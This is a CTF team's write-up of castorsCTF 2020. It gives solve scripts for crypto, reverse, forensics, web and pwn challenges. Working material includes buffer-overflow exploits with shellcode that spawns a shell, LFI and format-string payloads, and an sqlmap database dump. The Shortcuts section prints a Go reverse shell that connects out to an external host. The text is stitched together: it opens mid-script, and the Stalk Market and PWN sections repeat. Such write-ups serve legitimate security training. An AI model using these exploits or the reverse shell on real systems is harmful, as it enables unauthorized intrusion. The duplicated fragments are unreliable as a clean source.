137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
